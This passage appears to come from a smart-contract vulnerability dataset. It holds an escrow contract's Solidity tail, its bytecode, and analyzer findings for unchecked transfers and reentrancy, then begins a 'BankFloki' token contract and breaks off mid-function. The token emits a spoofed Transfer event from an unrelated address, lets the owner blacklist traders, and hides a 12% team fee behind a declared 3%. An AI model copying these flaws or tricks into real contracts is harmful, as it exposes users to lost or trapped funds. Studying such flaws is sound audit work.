uint256 _transactionId,
uint256 _tokens,
uint256 _fee
) public tokenRestricted {
require(escrows[_arbitrator][_transactionId].sender == _sender);
require(escrows[_arbitrator][_transactionId].value == _tokens);
require(escrows[_arbitrator][_transactionId].fee == _fee);
require(escrows[_arbitrator][_transactionId].paid == false);
escrows[_arbitrator][_transactionId].paid = true;
Paid(_arbitrator, _transactionId);
}
/**
* @dev Transfer a locked amount
* @notice Only authorized address
* @notice Exchange rate has 18 decimal places
* @param _sender Address with locked amount
* @param _recipient Address to send funds to
* @param _transactionId App/user internal associated ID
* @param _exchangeRate Rate to be reported to the blockchain
*/
function release(
address _sender,
address _recipient,
uint256 _transactionId,
uint256 _exchangeRate
) public {
Lock memory lock = escrows[msg.sender][_transactionId];
require(lock.expiration != 1);
require(lock.sender == _sender);
require(lock.recipient == _recipient || lock.sender == _recipient);
require(lock.paid);
if (lock.fee > 0 && lock.recipient == _recipient) {
token.transfer(_recipient, lock.value);
token.transfer(msg.sender, lock.fee);
} else {
token.transfer(_recipient, lock.value.add(lock.fee));
}
delete escrows[msg.sender][_transactionId];
token.issueExchangeRate(
_sender,
_recipient,
msg.sender,
lock.value,
_transactionId,
_exchangeRate
);
Released(msg.sender, _recipient, _transactionId);
}
/**
* @dev Transfer a locked amount for timeless escrow
* @notice Only authorized address
* @notice Exchange rate has 18 decimal places
* @param _sender Address with locked amount
* @param _recipient Address to send funds to
* @param _transactionId App/user internal associated ID
* @param _exchangeRate Rate to be reported to the blockchain
*/
function releaseUnlocked(
address _sender,
address _recipient,
uint256 _transactionId,
uint256 _exchangeRate
) public {
Lock memory lock = escrows[msg.sender][_transactionId];
require(lock.expiration == 1);
require(lock.sender == _sender);
require(lock.paid);
if (lock.fee > 0 && lock.sender != _recipient) {
token.transfer(_recipient, lock.value);
token.transfer(msg.sender, lock.fee);
} else {
token.transfer(_recipient, lock.value.add(lock.fee));
}
delete escrows[msg.sender][_transactionId];
token.issueExchangeRate(
_sender,
_recipient,
msg.sender,
lock.value,
_transactionId,
_exchangeRate
);
Released(msg.sender, _recipient, _transactionId);
}
/**
* @dev Claim back locked amount after expiration time
* @dev Cannot be claimed if expiration == 0 or expiration == 1
* @notice Only works after lock expired
* @param _arbitrator Authorized lock address
* @param _transactionId transactionId ID from App/user
*/
function claim(
address _arbitrator,
uint256 _transactionId
) public {
Lock memory lock = escrows[_arbitrator][_transactionId];
require(lock.sender == msg.sender);
require(lock.paid);
require(lock.expiration < block.timestamp);
require(lock.expiration != 0);
require(lock.expiration != 1);
delete escrows[_arbitrator][_transactionId];
token.transfer(msg.sender, lock.value.add(lock.fee));
Released(
_arbitrator,
msg.sender,
_transactionId
);
}
/**
* @dev Remove expiration time on a lock
* @notice User wont be able to claim tokens back after this is called by arbitrator address
* @notice Only authorized address
* @param _transactionId App/user internal associated ID
*/
function mediate(
uint256 _transactionId
) public {
require(escrows[msg.sender][_transactionId].paid);
require(escrows[msg.sender][_transactionId].expiration != 0);
require(escrows[msg.sender][_transactionId].expiration != 1);
escrows[msg.sender][_transactionId].expiration = 0;
Dispute(msg.sender, _transactionId);
}
/**
This function is a way to get other ETC20 tokens
back to their rightful owner if sent by mistake
*/
function transferToken(address _tokenAddress, address _transferTo, uint256 _value) public onlyOwner {
require(_tokenAddress != address(token));
ISendToken erc20Token = ISendToken(_tokenAddress);
erc20Token.transfer(_transferTo, _value);
}
}
|
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806313a46827146100a957806316afdf8e1461011c5780634b20ae39146101865780638da5cb5b14610221578063aad3ec9614610276578063e56b3e68146102b8578063e664214a146102db578063f2fde38b14610345578063f5537ede1461037e578063fc0c546a146103df575b600080fd5b34156100b457600080fd5b61011a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091908035906020019091905050610434565b005b341561012757600080fd5b610184600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091905050610733565b005b341561019157600080fd5b61021f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091908035906020019091908035906020019091905050610f10565b005b341561022c57600080fd5b61023461129e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561028157600080fd5b6102b6600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506112c3565b005b34156102c357600080fd5b6102d960048080359060200190919050506116d0565b005b34156102e657600080fd5b610343600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919080359060200190919050506118ac565b005b341561035057600080fd5b61037c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612011565b005b341561038957600080fd5b6103dd600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612166565b005b34156103ea57600080fd5b6103f26122f0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561049057600080fd5b8473ffffffffffffffffffffffffffffffffffffffff16600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561053d57600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008581526020019081526020016000206002015414151561059e57600080fd5b80600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000858152602001908152602001600020600301541415156105ff57600080fd5b60001515600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060050160009054906101000a900460ff16151514151561067257600080fd5b6001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060050160006101000a81548160ff0219169083151502179055508373ffffffffffffffffffffffffffffffffffffffff167f737c69225d647e5994eab1a6c301bf6d9232beb2759ae1e27a8966b4732bc489846040518082815260200191505060405180910390a25050505050565b61073b612334565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060c060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002820154815260200160038201548152602001600482015481526020016005820160009054906101000a900460ff1615151515815250509050600181608001511415151561089257600080fd5b8473ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff161415156108d057600080fd5b8373ffffffffffffffffffffffffffffffffffffffff16816020015173ffffffffffffffffffffffffffffffffffffffff16148061093d57508373ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff16145b151561094857600080fd5b8060a00151151561095857600080fd5b6000816060015111801561099b57508373ffffffffffffffffffffffffffffffffffffffff16816020015173ffffffffffffffffffffffffffffffffffffffff16145b15610b7f57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8583604001516000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610a7157600080fd5b6102c65a03f11515610a8257600080fd5b5050506040518051905050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3383606001516000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610b5e57600080fd5b6102c65a03f11515610b6f57600080fd5b5050506040518051905050610c83565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85610bd98460600151856040015161231690919063ffffffff16565b6000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610c6657600080fd5b6102c65a03f11515610c7757600080fd5b50505060405180519050505b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556002820160009055600382016000905560048201600090556005820160006101000a81549060ff02191690555050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639c79af26868633856040015188886040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019650505050505050600060405180830381600087803b1515610e9057600080fd5b6102c65a03f11515610ea157600080fd5b5050508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f2d87480f50083e2b2759522a8fdda59802650a8055e609a7772cf70c07748f52856040518082815260200191505060405180910390a35050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6c57600080fd5b600083111515610f7b57600080fd5b60008210151515610f8b57600080fd5b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086815260200190815260200160002060020154141515610fed57600080fd5b86600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555085600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086815260200190815260200160002060010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008681526020019081526020016000206002018190555081600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008681526020019081526020016000206003018190555080600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000868152602001908152602001600020600401819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f9f94c44dd7c05df7528cfb5aedb137fa0cee080fb3fb54cec59f157b4424b18a876040518082815260200191505060405180910390a450505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6112cb612334565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060c060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002820154815260200160038201548152602001600482015481526020016005820160009054906101000a900460ff16151515158152505090503373ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614151561144c57600080fd5b8060a00151151561145c57600080fd5b42816080015110151561146e57600080fd5b600081608001511415151561148257600080fd5b600181608001511415151561149657600080fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000838152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556002820160009055600382016000905560048201600090556005820160006101000a81549060ff02191690555050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb336115bd8460600151856040015161231690919063ffffffff16565b6000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561164a57600080fd5b6102c65a03f1151561165b57600080fd5b50505060405180519050503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f2d87480f50083e2b2759522a8fdda59802650a8055e609a7772cf70c07748f52846040518082815260200191505060405180910390a3505050565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082815260200190815260200160002060050160009054906101000a900460ff16151561173c57600080fd5b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000838152602001908152602001600020600401541415151561179f57600080fd5b6001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000838152602001908152602001600020600401541415151561180257600080fd5b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000838152602001908152602001600020600401819055503373ffffffffffffffffffffffffffffffffffffffff167fa565b03b51c363a9b16ed01ba14aa3dc13e7edece0764e7ebbd640edc9836c70826040518082815260200191505060405180910390a250565b6118b4612334565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060c060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002820154815260200160038201548152602001600482015481526020016005820160009054906101000a900460ff161515151581525050905060018160800151141515611a0a57600080fd5b8473ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff16141515611a4857600080fd5b8060a001511515611a5857600080fd5b60008160600151118015611a9c57508373ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614155b15611c8057600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8583604001516000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611b7257600080fd5b6102c65a03f11515611b8357600080fd5b5050506040518051905050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3383606001516000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611c5f57600080fd5b6102c65a03f11515611c7057600080fd5b5050506040518051905050611d84565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85611cda8460600151856040015161231690919063ffffffff16565b6000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611d6757600080fd5b6102c65a03f11515611d7857600080fd5b50505060405180519050505b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556002820160009055600382016000905560048201600090556005820160006101000a81549060ff02191690555050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639c79af26868633856040015188886040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019650505050505050600060405180830381600087803b1515611f9157600080fd5b6102c65a03f11515611fa257600080fd5b5050508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f2d87480f50083e2b2759522a8fdda59802650a8055e609a7772cf70c07748f52856040518082815260200191505060405180910390a35050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561206c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156120a857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121c357600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561222057600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156122ce57600080fd5b6102c65a03f115156122df57600080fd5b505050604051805190505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080828401905083811015151561232a57fe5b8091505092915050565b60c060405190810160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600081526020016000815260200160001515815250905600a165627a7a723058205417d6d36f45dcae06c42722371889550d3b7929caa31627ba1cd3b6062cc9380029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 7,711 |
0x0672e7c3048fb8fcc23dd33d7847711addccbec3
|
/**
*Submitted for verification at Etherscan.io on 2021-07-17
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BankFloki is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = " Bank Floki ";
string private constant _symbol = " BF ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 3;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0xB34816256407484afa5dEE3e3D9d43aE6FbAF599), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 3;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 12);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
